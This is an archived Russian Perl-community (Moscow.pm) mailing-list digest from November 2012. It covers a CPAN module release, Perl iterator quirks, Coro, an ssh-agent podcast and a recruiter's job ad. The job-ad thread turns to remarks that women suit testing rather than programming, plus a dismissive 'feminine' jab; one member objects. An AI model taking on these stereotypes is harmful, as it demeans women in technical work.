From worldmind на mail.ru Thu Nov 1 06:05:23 2012 From: worldmind на mail.ru (=?UTF-8?B?0JDQu9C10LrRgdC10Lkg0KjRgNGD0LE=?=) Date: Thu, 01 Nov 2012 17:05:23 +0400 Subject: [Moscow.pm] =?utf-8?b?0J/RgNC+0YHRgtGL0LUg0L7QtNC90L7RgtC40L8=?= =?utf-8?b?0L3Ri9C1INC+0L/QtdGA0LDRhtC40Lgg0YEgQW55RXZlbnQ=?= In-Reply-To: <201211010924.16800.khedin@gmail.com> References: <201208091101.15294.khedin@gmail.com> <20120809071317.GA2349@vdsl.uvw.ru> <201211010924.16800.khedin@gmail.com> Message-ID: <1351775123.934700363@f91.mail.ru> Thu, 1 Nov 2012 09:24:16 +0400 от "Konstantin S. Uvarin" : > Зарелизил на свой страх и риск. > http://search.cpan.org/~khedin/AE-AdHoc-0.08/lib/AE/AdHoc.pm пример было бы неплохо конкретизировать - тестируем модуль такой-то, метод такой-то и потом уже куски кода до и после (с вызовами тестируемого метода) -- Alexey Shrub From rabbit+moscowpm на rabbit.us Thu Nov 1 06:30:00 2012 From: rabbit+moscowpm на rabbit.us (Peter Rabbitson) Date: Fri, 2 Nov 2012 00:30:00 +1100 Subject: [Moscow.pm] =?utf-8?b?0J/RgNC+0YHRgtGL0LUg0L7QtNC90L7RgtC40L8=?= =?utf-8?b?0L3Ri9C1INC+0L/QtdGA0LDRhtC40Lgg0YEgQW55RXZlbnQ=?= In-Reply-To: <201211010924.16800.khedin@gmail.com> References: <201208091101.15294.khedin@gmail.com> <20120809071317.GA2349@vdsl.uvw.ru> <201211010924.16800.khedin@gmail.com> Message-ID: <20121101133000.GA24270@rabbit.us> On Thu, Nov 01, 2012 at 09:24:16AM +0400, Konstantin S. Uvarin wrote: > > Багрепорты лучше не в RT, а сразу на github. > Как сделать чтоб народ не ходил в RT (и ваще тред забавный ;) https://rt.cpan.org/Public/Bug/Display.html?id=76498#txn-1066915 Cheers From evdokimov.denis на gmail.com Thu Nov 1 13:43:52 2012 From: evdokimov.denis на gmail.com (Denis Evdokimov) Date: Thu, 1 Nov 2012 23:43:52 +0300 Subject: [Moscow.pm] =?koi8-r?b?98/Q0s/TINDSzyBmb3JlYWNo?= In-Reply-To: <5090FB75.10400@gmail.com> References: <5090FB75.10400@gmail.com> Message-ID: > > Уверен? > Был уверен))) Про функционал 5.12+ совсем забыл, т.к. работаю с 5.10 и 5.8. P.S. Ох уж эти скрытые итераторы, мало им подобных костылей: keys(%hash); # reset hash iterator* * ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From a.bovanenko на gmail.com Sat Nov 3 04:54:31 2012 From: a.bovanenko на gmail.com (Alexey Bovanenko) Date: Sat, 3 Nov 2012 14:54:31 +0300 Subject: [Moscow.pm] =?utf-8?b?0JLQvtC/0YDQvtGBINC/0YDQviBmb3JlYWNo?= In-Reply-To: References: Message-ID: На Java: int[] arr = {1,2,3,4}; for(int i : arr){ break; } for(int i:arr){ System.out.println(i); } Выведет также 1 2 3 4 2012/10/30 Daniel Podolsky > > Скажите, кто-нибудь знает о подобной > > особенности перла? Может, я не совсем правильно пример запомнил? > я вот знаю о такой особенности итераторов в яве. а в перле, вроде бы, > итератор переустанавливается всякий раз. > > может быть - пример был про each? > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- With regards, Alexei Bovanenko ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From onokonem на gmail.com Sun Nov 4 07:05:41 2012 From: onokonem на gmail.com (Daniel Podolsky) Date: Sun, 4 Nov 2012 19:05:41 +0400 Subject: [Moscow.pm] =?koi8-r?b?98/Q0s/TINDSzyBmb3JlYWNo?= In-Reply-To: References: Message-ID: > for(int i : arr){ я Iterator имел в виду. Но - да, Вы правы. From ksvs1996 на ymail.com Tue Nov 6 01:39:26 2012 From: ksvs1996 на ymail.com (ksvs) Date: Tue, 6 Nov 2012 09:39:26 +0000 (GMT) Subject: [Moscow.pm] Coro Message-ID: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> Люди, а вы используете Coro под приличной нагрузкой? Что-то не вериться, что использовать Coro сложней, чем использовать prefork. Но второй вариант работает как часы, а вариант с Coro переодически зависает. Или я не умею его готовить... :-( From evdokimov.denis на gmail.com Tue Nov 6 05:48:05 2012 From: evdokimov.denis на gmail.com (Denis Evdokimov) Date: Tue, 6 Nov 2012 16:48:05 +0300 Subject: [Moscow.pm] Coro In-Reply-To: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> References: <1352194766.90744.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: > > Люди, а вы используете Coro под приличной нагрузкой? > Помниться в Киеве майлрушники рассказывали, что используют Coro и собираются ещё больше использовать, т.к. он хорошо внедряется в существующий код. ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From dsimonov на gmail.com Wed Nov 7 02:37:19 2012 From: dsimonov на gmail.com (Dmitry Simonov) Date: Wed, 7 Nov 2012 14:37:19 +0400 Subject: [Moscow.pm] =?utf-8?b?U1NILdCw0LPQtdC90YI=?= Message-ID: Прошу прощения, минутка рекламы. Мы выложили второй подкаст из своих мурзилок. Админская мурзилка: что такое ssh-агент и как с ним работать: http://setupru.podfm.ru/my/2 Со спойлером и опровержением одновременно! :) --- Dmitriy V. Simonov, Perl & Python programmer ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From onokonem на gmail.com Wed Nov 7 02:44:47 2012 From: onokonem на gmail.com (Daniel Podolsky) Date: Wed, 7 Nov 2012 14:44:47 +0400 Subject: [Moscow.pm] =?koi8-r?b?U1NILcHHxc7U?= In-Reply-To: References: Message-ID: > Со спойлером и опровержением одновременно! :) будь моя воля - я бы подредактировал аудио. позор же на мою седую голову :) From dsimonov на gmail.com Wed Nov 7 03:17:51 2012 From: dsimonov на gmail.com (Dmitry Simonov) Date: Wed, 7 Nov 2012 15:17:51 +0400 Subject: [Moscow.pm] =?utf-8?b?U1NILdCw0LPQtdC90YI=?= In-Reply-To: References: Message-ID: Тогда никакой интриги :) Мы должны оставлять дыры в докладах, чтобы появлялись умные и светлые головы показывающие, где мы ошибаемся :) On Wednesday, November 7, 2012, Daniel Podolsky wrote: > > Со спойлером и опровержением одновременно! :) > будь моя воля - я бы подредактировал аудио. позор же на мою седую голову :) > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- --- Dmitriy V. Simonov, Perl & Python programmer ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From ekikoina на spice-agency.ru Wed Nov 7 04:29:34 2012 From: ekikoina на spice-agency.ru (Evgeniya Kikoina) Date: Wed, 7 Nov 2012 16:29:34 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= Message-ID: Добрый день, очень хочу представить вниманию позицию Perl разработчика, надо которой сейчас работаю. Ищу опытного Perl разработчика с английским языком. Международная компания, штат более 200 человек, отличные перспективы развития и роста до TeamLead. Гибкий график, отсутствие дресскода, регулярная индексация белой ЗП. Контакты: EKikoina на spice-agency.ru +7 903 191 03 38 -- С уважением, Евгения Кикоина _________________________ Консультант по подбору персонала, Компания "Spice рекрутмент" офис: +7 (499) 689 52 00 (доб.102) моб.: +7 (903) 191 03 38 ekikoina на spice-agency.ru ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From warstone на list.ru Wed Nov 7 05:06:50 2012 From: warstone на list.ru (=?UTF-8?B?V2Fyc3RvbmVAbGlzdC5ydQ==?=) Date: Wed, 07 Nov 2012 17:06:50 +0400 Subject: [Moscow.pm] =?utf-8?b?0LLQsNC60LDQvdGB0LjRjyBQZXJsINGA0LDQt9GA?= =?utf-8?b?0LDQsdC+0YLRh9C40LrQsA==?= In-Reply-To: References: Message-ID: <1352293610.999531685@f73.mail.ru> Все IPOnWeb не можете закрыть? Печально. Wed, 7 Nov 2012 16:29:34 +0400 от Evgeniya Kikoina : > > > > >Добрый день, очень хочу представить вниманию позицию Perl разработчика, надо которой сейчас работаю. > > > > >Ищу опытного Perl разработчика с английским языком. > > >Международная компания, штат более 200 человек, отличные перспективы развития и роста до TeamLead. >Гибкий график, отсутствие дресскода, регулярная индексация белой ЗП. > > > > >Контакты: >EKikoina на spice-agency.ru > > > >+7 903 191 03 38 > >-- >С уважением,  >Евгения Кикоина >_________________________ > > >Консультант по подбору персонала, >Компания "Spice рекрутмент" >офис: +7 (499) 689 52 00 (доб.102) > моб.:  +7 (903) 191 03 38 >ekikoina на spice-agency.ru > > >-- > Moscow.pm mailing list >moscow-pm на pm.org | http://moscow.pm.org > ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From ekikoina на spice-agency.ru Wed Nov 7 05:25:19 2012 From: ekikoina на spice-agency.ru (Evgeniya Kikoina) Date: Wed, 7 Nov 2012 17:25:19 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <1352293610.999531685@f73.mail.ru> References: <1352293610.999531685@f73.mail.ru> Message-ID: Николай, добрый день! Уже двух устроила, ищу ещё! 7 ноября 2012 г., 17:06 пользователь Warstone на list.ru написал: > Все IPOnWeb не можете закрыть? Печально. > > > Wed, 7 Nov 2012 16:29:34 +0400 от Evgeniya Kikoina < > ekikoina на spice-agency.ru>: > > Добрый день, очень хочу представить вниманию позицию Perl разработчика, > надо которой сейчас работаю. > > > Ищу опытного Perl разработчика с английским языком. > > Международная компания, штат более 200 человек, отличные перспективы > развития и роста до TeamLead. > Гибкий график, отсутствие дресскода, регулярная индексация белой ЗП. > > > Контакты: > EKikoina на spice-agency.ru > > +7 903 191 03 38 > -- > С уважением, > Евгения Кикоина > _________________________ > > Консультант по подбору персонала, > Компания "Spice рекрутмент" > офис: +7 (499) 689 52 00 (доб.102) > моб.: +7 (903) 191 03 38 > ekikoina на spice-agency.ru > > -- > Moscow.pm mailing list > moscow-pm на pm.org| > http://moscow.pm.org > > > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > -- С уважением, Евгения Кикоина _________________________ Консультант по подбору персонала, Компания "Spice рекрутмент" офис: +7 (499) 689 52 00 (доб.102) моб.: +7 (903) 191 03 38 ekikoina на spice-agency.ru ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From Kostya на yandex.ru Wed Nov 7 05:26:14 2012 From: Kostya на yandex.ru (=?koi8-r?B?68/T1NEg9MXO?=) Date: Wed, 07 Nov 2012 17:26:14 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: References: <1352293610.999531685@f73.mail.ru> Message-ID: <337331352294774@web5e.yandex.ru> Вложение в формате HTML было извлечено… URL: From lev на leontiev.me Wed Nov 7 05:35:15 2012 From: lev на leontiev.me (Lev Leontiev) Date: Wed, 7 Nov 2012 17:35:15 +0400 Subject: [Moscow.pm] =?utf-8?b?0LLQsNC60LDQvdGB0LjRjyBQZXJsINGA0LDQt9GA?= =?utf-8?b?0LDQsdC+0YLRh9C40LrQsA==?= In-Reply-To: <1352293610.999531685@f73.mail.ru> References: <1352293610.999531685@f73.mail.ru> Message-ID: IPONWEB растет и потому постоянно нуждается в perl разработчиках. Так что не вижу тут ничего печального. 2012/11/7 Warstone на list.ru : > Все IPOnWeb не можете закрыть? Печально. > > > Wed, 7 Nov 2012 16:29:34 +0400 от Evgeniya Kikoina > : > > Добрый день, очень хочу представить вниманию позицию Perl разработчика, надо > которой сейчас работаю. > > > Ищу опытного Perl разработчика с английским языком. > > Международная компания, штат более 200 человек, отличные перспективы > развития и роста до TeamLead. > Гибкий график, отсутствие дресскода, регулярная индексация белой ЗП. > > > Контакты: > EKikoina на spice-agency.ru > > +7 903 191 03 38 > -- > С уважением, > Евгения Кикоина > _________________________ > > Консультант по подбору персонала, > Компания "Spice рекрутмент" > офис: +7 (499) 689 52 00 (доб.102) > моб.: +7 (903) 191 03 38 > ekikoina на spice-agency.ru > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > From ivan на serezhkin.com Wed Nov 7 05:36:49 2012 From: ivan на serezhkin.com (Vany Serezhkin) Date: Wed, 07 Nov 2012 17:36:49 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: References: Message-ID: <509A63F1.7030509@serezhkin.com> On 11/07/2012 04:29 PM, Evgeniya Kikoina wrote: > Ищу опытного Perl разработчика с английским языком. Кстати, тут на самом деле, не опытного перл программиста, а опытного программиста, а перл, просто тут на нём пишут. И ещё дополнительные пожелания: Умение поддержать беседу на гуманитарные темы за обедом, а ещё лучше завести её. Умение понимать зубодробительные спецификации и в куче разрозненных правил видеть логику. Программировать на всём что программируется. И конечно же быть программисткой, но, в большинстве случаев это не выполнимо.. -- WBR, Vany From simashin на gmail.com Wed Nov 7 05:40:32 2012 From: simashin на gmail.com (alexander simashin) Date: Wed, 7 Nov 2012 17:40:32 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <337331352294774@web5e.yandex.ru> References: <1352293610.999531685@f73.mail.ru> <337331352294774@web5e.yandex.ru> Message-ID: http://moikrug.ru/vacancies/609441786/ 07.11.2012 17:26 пользователь "Костя Тен" написал: > Чего много платят!? > -- > Костя Тен > > > 07.11.2012, 17:25, "Evgeniya Kikoina" : > > Николай, добрый день! > Уже двух устроила, ищу ещё! > > > 7 ноября 2012 г., 17:06 пользователь Warstone на list.ru написал: > > Все IPOnWeb не можете закрыть? Печально. > > > Wed, 7 Nov 2012 16:29:34 +0400 от Evgeniya Kikoina < > ekikoina на spice-agency.ru>: > > Добрый день, очень хочу представить вниманию позицию Perl разработчика, > надо которой сейчас работаю. > Ищу опытного Perl разработчика с английским языком. > Международная компания, штат более 200 человек, отличные перспективы > развития и роста до TeamLead. > Гибкий график, отсутствие дресскода, регулярная индексация белой ЗП. > Контакты: > EKikoina на spice-agency.ru > +7 903 191 03 38 > -- > С уважением, > Евгения Кикоина > _________________________ > > Консультант по подбору персонала, > Компания "Spice рекрутмент" > офис: +7 (499) 689 52 00 (доб.102) > моб.: +7 (903) 191 03 38 > ekikoina на spice-agency.ru > -- > Moscow.pm mailing list > moscow-pm на pm.org| > http://moscow.pm.org > > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > > > -- > С уважением, > Евгения Кикоина > _________________________ > > Консультант по подбору персонала, > Компания "Spice рекрутмент" > офис: +7 (499) 689 52 00 (доб.102) > моб.: +7 (903) 191 03 38 > ekikoina на spice-agency.ru > , > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From warstone на list.ru Wed Nov 7 05:46:00 2012 From: warstone на list.ru (=?UTF-8?B?V2Fyc3RvbmVAbGlzdC5ydQ==?=) Date: Wed, 07 Nov 2012 17:46:00 +0400 Subject: [Moscow.pm] =?utf-8?b?0LLQsNC60LDQvdGB0LjRjyBQZXJsINGA0LDQt9GA?= =?utf-8?b?0LDQsdC+0YLRh9C40LrQsA==?= In-Reply-To: <509A63F1.7030509@serezhkin.com> References: <509A63F1.7030509@serezhkin.com> Message-ID: <1352295960.103113514@f86.mail.ru> Программист от программистки отличается примерно так-же как и машинист от машинистки. Wed, 07 Nov 2012 17:36:49 +0400 от Vany Serezhkin : > > > > > > И конечно же быть программисткой, но, в большинстве случаев это не > выполнимо.. > > > -- > WBR, Vany > -- > Moscow.pm mailing list >moscow-pm на pm.org | http://moscow.pm.org > ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From ekikoina на spice-agency.ru Wed Nov 7 05:47:58 2012 From: ekikoina на spice-agency.ru (Evgeniya Kikoina) Date: Wed, 7 Nov 2012 17:47:58 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <1352295960.103113514@f86.mail.ru> References: <509A63F1.7030509@serezhkin.com> <1352295960.103113514@f86.mail.ru> Message-ID: Николай, ну по классике "морская свинка":) 7 ноября 2012 г., 17:46 пользователь Warstone на list.ru написал: > Программист от программистки отличается примерно так-же как и машинист от > машинистки. > > > Wed, 07 Nov 2012 17:36:49 +0400 от Vany Serezhkin : > > > И конечно же быть программисткой, но, в большинстве случаев это не > выполнимо.. > > > -- > WBR, Vany > -- > Moscow.pm mailing list > moscow-pm на pm.org| > http://moscow.pm.org > > > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > -- С уважением, Евгения Кикоина _________________________ Консультант по подбору персонала, Компания "Spice рекрутмент" офис: +7 (499) 689 52 00 (доб.102) моб.: +7 (903) 191 03 38 ekikoina на spice-agency.ru ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From postmaster на softsearch.ru Wed Nov 7 06:22:47 2012 From: postmaster на softsearch.ru (=?koi8-r?B?7cnIwcnMIO3PzsHbo9c=?=) Date: Wed, 7 Nov 2012 18:22:47 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <509A63F1.7030509@serezhkin.com> References: <509A63F1.7030509@serezhkin.com> Message-ID: <885651530.20121107182247@softsearch.ru> Здравствуйте, Vany. > И конечно же быть программисткой, но, в большинстве случаев это не > выполнимо.. Вам работать человек нужен или чё? -- С уважением, Михаил mailto:postmaster на softsearch.ru From lev на leontiev.me Wed Nov 7 06:29:53 2012 From: lev на leontiev.me (Lev Leontiev) Date: Wed, 7 Nov 2012 18:29:53 +0400 Subject: [Moscow.pm] =?utf-8?b?0LLQsNC60LDQvdGB0LjRjyBQZXJsINGA0LDQt9GA?= =?utf-8?b?0LDQsdC+0YLRh9C40LrQsA==?= In-Reply-To: <885651530.20121107182247@softsearch.ru> References: <509A63F1.7030509@serezhkin.com> <885651530.20121107182247@softsearch.ru> Message-ID: Мы кстати считаем, что ни пол, ни возраст не мешают человеку быть замечательным программистом. 2012/11/7 Михаил Монашёв : > Здравствуйте, Vany. > >> И конечно же быть программисткой, но, в большинстве случаев это не >> выполнимо.. > > Вам работать человек нужен или чё? > > -- > С уважением, > Михаил mailto:postmaster на softsearch.ru > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From ivan на serezhkin.com Wed Nov 7 07:03:07 2012 From: ivan на serezhkin.com (Vany Serezhkin) Date: Wed, 07 Nov 2012 19:03:07 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <885651530.20121107182247@softsearch.ru> References: <509A63F1.7030509@serezhkin.com> <885651530.20121107182247@softsearch.ru> Message-ID: <509A782B.90201@serezhkin.com> On 11/07/2012 06:22 PM, Михаил Монашёв wrote: >> И конечно же быть программисткой, но, в большинстве случаев это не >> выполнимо.. > Вам работать человек нужен или чё? > Миш, всем работать, но как ты прекрасно знаешь, работа - это минимум треть жизни, четверть из которой уходит на сон. Так случилось, что работа не связана с общением с новыми людьми, и те немногие, с кем мы общаемся, просто обязаны быть развитыми и интересными в общении. Социализацию за счёт компании ещё никто не отменял. А дамы, а дамы они украшают коллектив, и мыслят хитро поособому. И хотя, программистки - они свои парни, это не мешает им поддерживать изюмительность коллективной атмосферы, что хорошо для всех. Кстати они внимательны к деталям, что нам тоже клёво. -- WBR, Vany From postmaster на softsearch.ru Wed Nov 7 07:48:16 2012 From: postmaster на softsearch.ru (=?koi8-r?B?7cnIwcnMIO3PzsHbo9c=?=) Date: Wed, 7 Nov 2012 19:48:16 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <509A782B.90201@serezhkin.com> References: <509A63F1.7030509@serezhkin.com> <885651530.20121107182247@softsearch.ru> <509A782B.90201@serezhkin.com> Message-ID: <1295647106.20121107194816@softsearch.ru> Здравствуйте, Vany. > Так случилось, что работа не связана с общением с новыми людьми, и > те немногие, с кем мы общаемся, просто обязаны быть развитыми и > интересными в общении. > Социализацию за счёт компании ещё никто не отменял. > А дамы, а дамы они украшают коллектив, и мыслят хитро поособому. И > хотя, программистки - они свои парни, это не мешает им поддерживать > изюмительность коллективной атмосферы, что хорошо для всех. Кстати > они внимательны к деталям, что нам тоже клёво. Так берите женщин в тестеры, а не в программисты. Они внимательны к деталям, что для тестера нужное качество. Тестировать нудно, поэтому будет текучка, а вы получите общение с новыми людьми. Решите так половину своих проблем. :-) А если начнут решаться ещё и личные дела, то текучка тоже полезная вещь: работа и дом не будут смешиваться, семейных бюджет не будет зависеть от одной компании. :-) P.S. Жениться программеру лучше пораньше. И сразу на женщине, а не на работе. :-) -- С уважением, Михаил mailto:postmaster на softsearch.ru From worldmind на mail.ru Wed Nov 7 07:52:39 2012 From: worldmind на mail.ru (=?UTF-8?B?0JDQu9C10LrRgdC10Lkg0KjRgNGD0LE=?=) Date: Wed, 07 Nov 2012 19:52:39 +0400 Subject: [Moscow.pm] =?utf-8?b?0LLQsNC60LDQvdGB0LjRjyBQZXJsINGA0LDQt9GA?= =?utf-8?b?0LDQsdC+0YLRh9C40LrQsA==?= In-Reply-To: <1295647106.20121107194816@softsearch.ru> References: <509A782B.90201@serezhkin.com> <1295647106.20121107194816@softsearch.ru> Message-ID: <1352303559.645318082@f347.mail.ru> Wed, 7 Nov 2012 19:48:16 +0400 от Михаил Монашёв : > Жениться программеру лучше пораньше. И сразу на женщине, а не на > работе. :-) недавно прочитал рекомендацию у Аристотеля когда лучше вступать в брак: мужчинам в 37, женщинам в 18. -- Alexey Shrub From shafiev на gmail.com Wed Nov 7 10:44:00 2012 From: shafiev на gmail.com (Naim Shafiev) Date: Wed, 7 Nov 2012 22:44:00 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <1352303559.645318082@f347.mail.ru> References: <509A782B.90201@serezhkin.com> <1295647106.20121107194816@softsearch.ru> <1352303559.645318082@f347.mail.ru> Message-ID: 7 ноября 2012 г., 19:52 пользователь Алексей Шруб написал: > Wed, 7 Nov 2012 19:48:16 +0400 от Михаил Монашёв : >> Жениться программеру лучше пораньше. И сразу на женщине, а не на >> работе. :-) > > недавно прочитал рекомендацию у Аристотеля когда лучше вступать в брак: мужчинам в 37, женщинам в 18. Во времена аристотеля , мужчины в 50 лет можно было считать долгожителем. Так что ) > > -- > Alexey Shrub > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From somerandomlogin на gmail.com Wed Nov 7 10:48:52 2012 From: somerandomlogin на gmail.com (Jack of Shadows) Date: Wed, 7 Nov 2012 22:48:52 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <1352303559.645318082@f347.mail.ru> References: <509A782B.90201@serezhkin.com> <1295647106.20121107194816@softsearch.ru> <1352303559.645318082@f347.mail.ru> Message-ID: Ну, Аристотель-то плохого не посоветует :-) 2012/11/7 Алексей Шруб : > Wed, 7 Nov 2012 19:48:16 +0400 от Михаил Монашёв : >> Жениться программеру лучше пораньше. И сразу на женщине, а не на >> работе. :-) > > недавно прочитал рекомендацию у Аристотеля когда лучше вступать в брак: мужчинам в 37, женщинам в 18. > > -- > Alexey Shrub > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From worldmind на mail.ru Wed Nov 7 21:26:21 2012 From: worldmind на mail.ru (=?UTF-8?B?0JDQu9C10LrRgdC10Lkg0KjRgNGD0LE=?=) Date: Thu, 08 Nov 2012 09:26:21 +0400 Subject: [Moscow.pm] =?utf-8?b?0LLQsNC60LDQvdGB0LjRjyBQZXJsINGA0LDQt9GA?= =?utf-8?b?0LDQsdC+0YLRh9C40LrQsA==?= In-Reply-To: References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> Message-ID: <1352352381.46051112@f331.mail.ru> Wed, 7 Nov 2012 22:44:00 +0400 от Naim Shafiev : > Во времена аристотеля , мужчины в 50 лет можно было считать долгожителем. > Так что ) Не верно, садись, два. Путаешь среднюю продолжительность жизни с реальностью, средняя 29-30 лет тогда означала что половина умирала сразу после рождения, остальные жили до 80 и более, если конечно не погибали на войне, итого средняя 30. Если ссылки что-то значат, то: http://www.nkj.ru/archive/articles/10069/ -- Alexey Shrub From shafiev на gmail.com Wed Nov 7 23:11:26 2012 From: shafiev на gmail.com (Naim Shafiev) Date: Thu, 8 Nov 2012 11:11:26 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <1352352381.46051112@f331.mail.ru> References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> Message-ID: 8 ноября 2012 г., 9:26 пользователь Алексей Шруб написал: > Wed, 7 Nov 2012 22:44:00 +0400 от Naim Shafiev : >> Во времена аристотеля , мужчины в 50 лет можно было считать долгожителем. >> Так что ) > > Не верно, садись, два. > Путаешь среднюю продолжительность жизни с реальностью, средняя 29-30 лет тогда означала что половина умирала сразу после рождения, остальные жили до 80 и более, если конечно не погибали на войне, итого средняя 30. Ну так именно и среднию я и имел в виду. > Если ссылки что-то значат, то: http://www.nkj.ru/archive/articles/10069/ Ну там даже и написано, что в сторону завышения, древний мир был намного более негостепримный чем нынешний. > > > -- > Alexey Shrub > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From yu.pats на gmail.com Wed Nov 7 23:22:56 2012 From: yu.pats на gmail.com (Yury Pats) Date: Thu, 8 Nov 2012 10:22:56 +0300 Subject: [Moscow.pm] =?utf-8?b?0LLQsNC60LDQvdGB0LjRjyBQZXJsINGA0LDQt9GA?= =?utf-8?b?0LDQsdC+0YLRh9C40LrQsA==?= In-Reply-To: <1352352381.46051112@f331.mail.ru> References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> Message-ID: За что я люблю рассылку moscow.pm, так это за то что из одного письма рекрутера выливается тред на два десятка писем :) 2012/11/8 Алексей Шруб > Wed, 7 Nov 2012 22:44:00 +0400 от Naim Shafiev : > > Во времена аристотеля , мужчины в 50 лет можно было считать долгожителем. > > Так что ) > > Не верно, садись, два. > Путаешь среднюю продолжительность жизни с реальностью, средняя 29-30 лет > тогда означала что половина умирала сразу после рождения, остальные жили до > 80 и более, если конечно не погибали на войне, итого средняя 30. > Если ссылки что-то значат, то: http://www.nkj.ru/archive/articles/10069/ > > > -- > Alexey Shrub > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- WBR, Yury Pats skype: yuripats cellular: +375 (29) 5870723 ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From ekikoina на spice-agency.ru Wed Nov 7 23:47:34 2012 From: ekikoina на spice-agency.ru (Evgeniya Kikoina) Date: Thu, 8 Nov 2012 11:47:34 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> Message-ID: Юрий, загляните в ru.footbal на LJ, там тоже весело:) 8 ноября 2012 г., 11:22 пользователь Yury Pats написал: > За что я люблю рассылку moscow.pm, так это за то что из одного письма > рекрутера выливается тред на два десятка писем :) > > > 2012/11/8 Алексей Шруб > >> Wed, 7 Nov 2012 22:44:00 +0400 от Naim Shafiev : >> > Во времена аристотеля , мужчины в 50 лет можно было считать >> долгожителем. >> > Так что ) >> >> Не верно, садись, два. >> Путаешь среднюю продолжительность жизни с реальностью, средняя 29-30 лет >> тогда означала что половина умирала сразу после рождения, остальные жили до >> 80 и более, если конечно не погибали на войне, итого средняя 30. >> Если ссылки что-то значат, то: http://www.nkj.ru/archive/articles/10069/ >> >> >> -- >> Alexey Shrub >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org >> > > > > -- > WBR, Yury Pats > skype: yuripats > cellular: +375 (29) 5870723 > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > -- С уважением, Евгения Кикоина _________________________ Консультант по подбору персонала, Компания "Spice рекрутмент" офис: +7 (499) 689 52 00 (доб.102) моб.: +7 (903) 191 03 38 ekikoina на spice-agency.ru ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From postmaster на softsearch.ru Thu Nov 8 00:25:03 2012 From: postmaster на softsearch.ru (=?koi8-r?B?7cnIwcnMIO3PzsHbo9c=?=) Date: Thu, 8 Nov 2012 12:25:03 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> Message-ID: <545120193.20121108122503@softsearch.ru> Здравствуйте, Evgeniya. > Юрий, загляните в ru.footbal на LJ, там тоже весело:) Женская непосредственность. :-) -- С уважением, Михаил mailto:postmaster на softsearch.ru From chesnokov.ilya на gmail.com Fri Nov 9 01:23:01 2012 From: chesnokov.ilya на gmail.com (Ilya Chesnokov) Date: Fri, 9 Nov 2012 13:23:01 +0400 